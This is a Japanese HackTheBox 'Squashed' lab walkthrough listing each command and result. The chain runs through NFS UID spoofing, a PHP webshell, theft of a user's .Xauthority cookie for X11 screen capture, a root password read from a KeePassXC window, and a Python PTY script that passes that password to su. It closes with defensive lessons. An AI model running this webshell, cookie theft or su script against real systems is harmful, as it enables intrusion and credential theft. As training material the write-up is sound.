HackTheBox: Squashed — 全実行コマンド・実行結果レポート
Nmap スキャン
22(SSH)/80(HTTP)/111+2049(NFS)
→
22(SSH)/80(HTTP)/111+2049(NFS)
showmount -e
/var/www/html・/home/ross 公開
→
/var/www/html・/home/ross 公開
setpriv でUID偽装
ローカルユーザー作成不要
→
ローカルユーザー作成不要
NFS経由でPHP Webシェル設置
UID 2017 = alex
→
UID 2017 = alex
user.txt ✓
→
.Xauthority窃取
UID 1001 = ross
→
UID 1001 = ross
xwdでX11スクリーンショット
KeePassXC画面
→
KeePassXC画面
PTYトリックでsu root
Python pty.openpty()
→
Python pty.openpty()
root.txt ✓
PHASE 1
偵察 (Reconnaissance)
ポートスキャン
BASH
nmap -sV -sC -p 22,80,111,2049 10.129.228.109
RESULT
PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 111/tcp open rpcbind 2049/tcp open nfs
ℹ️
NFS(Network File System)が外部に公開されている点が最大の手掛かり。
NFSv3は標準設定ではクライアント側の申告したUID/GIDをそのまま信頼するため、
攻撃者がローカルのUIDを自由に名乗れれば認証を一切介さずファイルアクセス権を
偽装できる。Webサイトは「squashed.htb」という名前の「Built better」を謳う
架空のサービス紹介ページ。
PHASE 2
NFSエクスポート列挙とUID偽装
公開されているエクスポートを確認
BASH
showmount -e 10.129.228.109
RESULT
Export list for 10.129.228.109: /home/ross * /var/www/html *
🚨
両方ともアクセス制限「*」= 誰でもマウント可能。Webサーバーの公開ディレクトリと、
一般ユーザー
rossのホームディレクトリの両方がNFS越しに触れる。
エクスポートをマウント
BASH
mkdir -p /tmp/sq_nfs_html /tmp/sq_nfs_ross mount -t nfs -o vers=3,nolock 10.129.228.109:/var/www/html /tmp/sq_nfs_html mount -t nfs -o vers=3,nolock 10.129.228.109:/home/ross /tmp/sq_nfs_ross ls -la /tmp/sq_nfs_html
RESULT
ls: 'index.html' にアクセスできません: 許可がありません d????????? ? ? ? ? ? . (root としてのアクセスは root_squash により拒否)
⚠️
マウント自体は無認証で成功するが、エクスポート設定に
root_squash(デフォルト)が効いているため、ローカルのrootとしてアクセスしても
権限なしの匿名ユーザーとして扱われ中身は見えない。ファイルの実オーナーと
同じ数値UID/GIDを名乗る必要がある。
setpriv で任意のUID/GIDを名乗る(ローカルユーザー作成不要)
BASH
setpriv --reuid 2017 --regid 2017 --clear-groups ls -la /tmp/sq_nfs_html
RESULT
drwxr-xr-- 5 2017 www-data 4096 .
-rw-r--r-- 1 2017 www-data 44 .htaccess
-rw-r----- 1 2017 www-data 32532 index.html
drwxr-xr-x 2 2017 www-data 4096 css / images / js
✅
setpriv --reuid <UID> --regid <GID> --clear-groupsは
Linuxのutil-linuxパッケージに含まれる標準コマンドで、実際にそのUIDの
ローカルアカウントを作らなくても「そのUID/GIDを名乗って1コマンドだけ実行する」ことができる。
NFSv3(sec=sys、既定の認証方式)はこの数値をそのまま信用するため、
`useradd`等でアカウントを恒久的に作る必要が一切ない
(環境をクリーンに保てる点で望ましい手法)。ファイルオーナーUID 2017が
Webアプリ実行ユーザーalexだと分かる。
PHASE 3
NFS経由でPHP Webシェルを設置 & user.txt取得
UID 2017としてPHP Webシェルを書き込む
BASH
setpriv --reuid 2017 --regid 2017 --clear-groups sh -c \ "printf '%s' '<?php echo shell_exec(\$_GET[\"cmd\"] ?? \"id\"); ?>' > /tmp/sq_nfs_html/sh.php" setpriv --reuid 2017 --regid 2017 --clear-groups chmod 0644 /tmp/sq_nfs_html/sh.php
ℹ️
NFS越しの書き込みも同じUID偽装が効く。
/var/www/htmlがApacheのドキュメントルートと
一致するため、ここに置いたファイルはそのままHTTP経由で実行できる。
Webシェル経由でRCE確認 & user.txt取得
BASH
curl -s "http://10.129.228.109/sh.php?cmd=id" curl -s "http://10.129.228.109/sh.php?cmd=cat%20/home/alex/user.txt"
RESULT
uid=2017(alex) gid=2017(alex) groups=2017(alex) a01f269ed4f38b752d956f5868cfcd7d
user.txt — alex (NFS越しwebshell RCE)
a01f269ed4f38b752d956f5868cfcd7d
⚠️
実機でのハマりポイント: このマシンは
/var/www/htmlの中身を
定期的にリセットするスクリプトが動いているらしく、設置したWebシェルが
数十秒〜数分おきに消えて404になることがある。消えていたら同じsetprivコマンドで
再設置すればよい。後続フェーズでも「直前に設置し、間を置かずすぐ使う」ことを意識する。
PHASE 4
rossの .Xauthority を窃取しX11画面をキャプチャ
UID 1001(ross)として .Xauthority を読み取る
BASH
setpriv --reuid 1001 --regid 1001 --clear-groups base64 -w0 /tmp/sq_nfs_ross/.Xauthority
RESULT
AQAADHNxdWFzaGVkLmh0YgABMAASTUlULU1BR0lDLUNPT0tJRS0xABBpQ0Oe+QD07MJXGt9eisUE
ℹ️
.Xauthorityは所有者のみ読み取り可能(-rw-------)な
X11セッション認証用のMIT-MAGIC-COOKIEファイル。これも
setpriv --reuid 1001でross本人になりすませば問題なく読める。
rossはGUIデスクトップ(X11セッション)にログイン済みだと推測できる。
base64をURLエンコードしてWebシェル経由で /tmp に配置
BASH
B64=$(setpriv --reuid 1001 --regid 1001 --clear-groups base64 -w0 /tmp/sq_nfs_ross/.Xauthority)
curl -s --get "http://10.129.228.109/sh.php" \
--data-urlencode "cmd=printf %s ${B64}|base64 -d>/tmp/.Xauthority_stolen"
🚨
実機でのハマりポイント(重要): base64文字列には
+や/
などURLで特別な意味を持つ文字が含まれる。curl --data-urlencodeを使わず
生のbase64文字列を直接クエリパラメータに埋め込むと、+がPHPの
$_GET解析時にスペースへ変換されて値が壊れる
(一見「X11セッションが再起動してcookieが変わった」ように見える紛らわしい失敗だが、
実際はエンコード漏れが原因)。--data-urlencodeで確実にエンコードすること。
xwdでルートウィンドウのスクリーンショットを撮影
BASH
curl -s --get "http://10.129.228.109/sh.php" --data-urlencode \ "cmd=XAUTHORITY=/tmp/.Xauthority_stolen xwd -root -screen -silent -display :0 2>/dev/null | base64 -w0" \ -o screen_b64.txt base64 -d screen_b64.txt > screen.xwd convert screen.xwd screen.png
RESULT
screen.xwd: X-Window screen dump image data, version X11, 800x600x24, 256 colors screen.png: PNG image data, 800 x 600
✅
盗んだ.Xauthorityで認証し、ross(あるいはross相当)がログイン中のX11セッションの
画面全体をリモートからキャプチャすることに成功。XサーバーはCookieさえ一致すれば
どのホストからでも描画内容を読み取れてしまう仕様で、GUIアプリの画面内容が
丸ごと漏洩する。
PHASE 5
スクリーンショットからKeePassXCのroot平文パスワードを発見
取得したスクリーンショットを確認
NOTE
screen.png を開くと、パスワードマネージャー「KeePassXC」のウィンドウが前面に 開いたままの状態でキャプチャされている。一覧の "Password" 列に、 "HidePasswords"(表示時の●●●伏字)設定が無効化された状態で root用エントリのパスワードがそのまま平文表示されている。
🚨
画面キャプチャに写っていたKeePassXCのエントリ:
Title:
通常KeePassXCはパスワード列を既定で伏字表示するが、設定で
Title:
System ... / Username: root /
Password: cah$mei7rai9A通常KeePassXCはパスワード列を既定で伏字表示するが、設定で
HidePasswords=falseになっていると一覧画面に平文のまま並ぶ。
データベース自体が暗号化されていても、アンロック済みの画面を覗き見できれば
暗号化は無意味という典型例。
PHASE 6
疑似端末(PTY)トリックで su root & root.txt取得
なぜ単純な echo pass | su では失敗するか
NOTE
Webシェル経由のコマンド実行には疑似端末(TTY)が割り当たっていない。 su はセキュリティ上の理由でTTY経由のパスワード入力を要求する実装が多く、 単純に `echo 'password' | su root -c '...'` と標準入力をパイプで渡すだけでは "must be run from a terminal" 等のエラーで拒否されることが多い。
Python pty.openpty() で疑似端末を生成しsuへ割り当てる
PYTHON (su_pty.py)
import os, pty, select, subprocess, sys, time
master, slave = pty.openpty()
proc = subprocess.Popen(["su", "-", "root", "-c", "cat /root/root.txt"],
stdin=slave, stdout=slave, stderr=slave, close_fds=True)
os.close(slave)
time.sleep(0.5)
os.write(master, b"cah$mei7rai9A\n") # KeePassXCから読み取ったパスワード
out = b""
end = time.time() + 12
while time.time() < end:
r, _, _ = select.select([master], [], [], 0.5)
if r:
chunk = os.read(master, 4096)
if not chunk: break
out += chunk
proc.terminate()
sys.stdout.write(out.decode(errors="ignore"))
ℹ️
pty.openpty()でマスター/スレーブ一対の疑似端末デバイスを作成し、
suプロセスの標準入出力をスレーブ側に接続する。suからは
「正規のTTYから起動された」ように見えるため、通常のTTY前提チェックを通過できる。
マスター側に書き込んだバイト列がパスワードプロンプトへの入力として届く。
base64でWebシェル経由実行 & root.txt取得
BASH
B64=$(base64 -w0 su_pty.py)
curl -s --get "http://10.129.228.109/sh.php" \
--data-urlencode "cmd=printf %s ${B64}|base64 -d|python3"
RESULT
Password:
c464750a989222b329a3d4894b1607d5
root.txt — root (PTYトリック経由のsu)
c464750a989222b329a3d4894b1607d5
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — alex
a01f269ed4f38b752d956f5868cfcd7d
root.txt — root
c464750a989222b329a3d4894b1607d5
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| 無制限のNFSエクスポート + UID信頼 | /var/www/html・/home/ross (NFSv3, sec=sys) | Webルートへの任意ファイル書込み、他ユーザーファイルの無認証読取 | Critical | setprivでクライアント側UID/GIDを偽装し、サーバー側の認証を一切介さずアクセス権を得る |
| Webルート書込み権限 → RCE | Apacheドキュメントルート(NFS越しに書込可能) | リモートコード実行(alex権限) | Critical | PHP Webシェルを直接配置しHTTP経由で実行 |
| X11セッション認証情報の漏洩 | ross の .Xauthority (NFS越しに読取可能) | 他ユーザーのGUI画面の盗撮 | High | MIT-MAGIC-COOKIEをコピーしxwdでリモートからスクリーンショットを取得 |
| パスワードマネージャーの表示設定ミス | KeePassXC (HidePasswords=false) | root平文パスワードの漏洩 | Critical | アンロック済みのKeePassXCウィンドウがスクリーンショットにそのまま写り込み、一覧のパスワード列が平文表示 |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap | 22(SSH)/80(HTTP)/111+2049(NFS) |
| 2 | NFS調査 | showmount + setpriv UID偽装 | /var/www/html(UID2017)・/home/ross(UID1001)への権限 |
| 3 | RCE | NFS経由でPHP Webシェル設置 | user.txt(alex) |
| 4 | 横移動準備 | .Xauthority窃取 + xwdスクリーンショット | ross X11セッションの画面キャプチャ |
| 5 | 資格情報発見 | KeePassXC画面の目視確認 | root:cah$mei7rai9A |
| 6 | 権限昇格 | PTYトリック経由のsu | root.txt |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
NFSエクスポートが誰でもマウント可能(*)かつUIDベースの認証のみ |
エクスポート先IPを信頼できるホストに限定し、sec=krb5等Kerberos認証を使う。可能ならNFSv4+idmapdでのユーザー名ベース認証に移行する。 |
| Webサーバーのドキュメントルートが書込可能なNFSエクスポート経由で誰でも書き換えられる | Webルートは専用ユーザーの排他的な書込権限とし、デプロイ経路を限定する。 |
| 一般ユーザーの.Xauthorityが他ユーザーから読み取り可能な経路(NFS)に晒されている | ホームディレクトリのNFSエクスポートは必要最小限にし、機密ファイルのパーミッションとエクスポート範囲を再確認する。SSH X11転送を使う場合も同様の注意が必要。 |
| パスワードマネージャーの「パスワード非表示」設定が無効化されている | KeePassXC等のパスワードマネージャーは既定でパスワード列を伏字にし、画面ロック(オートロック)を短時間に設定する。離席時は必ずロックする運用を徹底する。 |

